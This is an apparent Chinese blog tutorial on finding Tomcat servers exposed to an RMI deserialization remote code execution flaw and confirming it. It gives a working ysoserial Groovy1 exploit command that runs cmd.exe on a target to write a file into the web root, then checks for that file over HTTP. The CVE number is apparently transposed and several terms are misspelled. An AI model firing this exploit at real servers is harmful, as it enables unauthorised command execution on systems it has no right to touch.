Tomcat(CVE-2016-8753)漏洞的识别和验证

关于TOMCAT CVE-2016-8753漏洞的原理和复现网上已经有很多文档了,不赘述。本文以实战视角,讨论如何识别和验证该漏洞。存在该漏洞的服务器在nmap扫描下一般存在以下特点:

1、有个正常的http端口,一般是8080,如图一:

2、还有个开启java-rmi的端口,如图二:

图一
Tomcat(CVE-2016-8753)漏洞的识别和验证_第1张图片
图二

图二中172.16.0.209:1009端口就可能是漏洞所在。图一端口找到很重要,需通过它验证。

验证思路:

该漏洞是远程命令执行(REC),但在实战中无法回显和交互。简单思路是利用命令在服务器某个能写的目录下个文本文件,再通过http端口去访问该文件,如果,能访问到则说明服务器存在该漏洞。

POC:

java -cp ysoserial-master.jar ysoserial.exploit.RMIRegistryExploit 172.16.0.209 1009 Groovy1 "cmd.exe /c echo This server have CEV-2016-8753 vlun. > ..\webapps\ROOT\bbb.txt"

ysoserial-master.jar 是所有该类漏洞的祖宗,本文不解释。

..\webapps\ROOT\ 是tomcat的WWW应用的根目录,实战中那个目录能写,需要重新确定。

验证:

在浏览器中访问:http://172.16.0.209:8080/bbb.txt,如果存在漏洞显示如图三:

Tomcat(CVE-2016-8753)漏洞的识别和验证_第2张图片
图三

受影响的版本主要有:Apache Tomcat 9.0.0.M1 to 9.0.0.M11;Apache Tomcat 8.5.0 to 8.5.6;Apache Tomcat 8.0.0.RC1 to 8.0.38;Apache Tomcat 7.0.0 to 7.0.72;Apache Tomcat 6.0.0 to 6.0.47

你可能感兴趣的:(Tomcat(CVE-2016-8753)漏洞的识别和验证)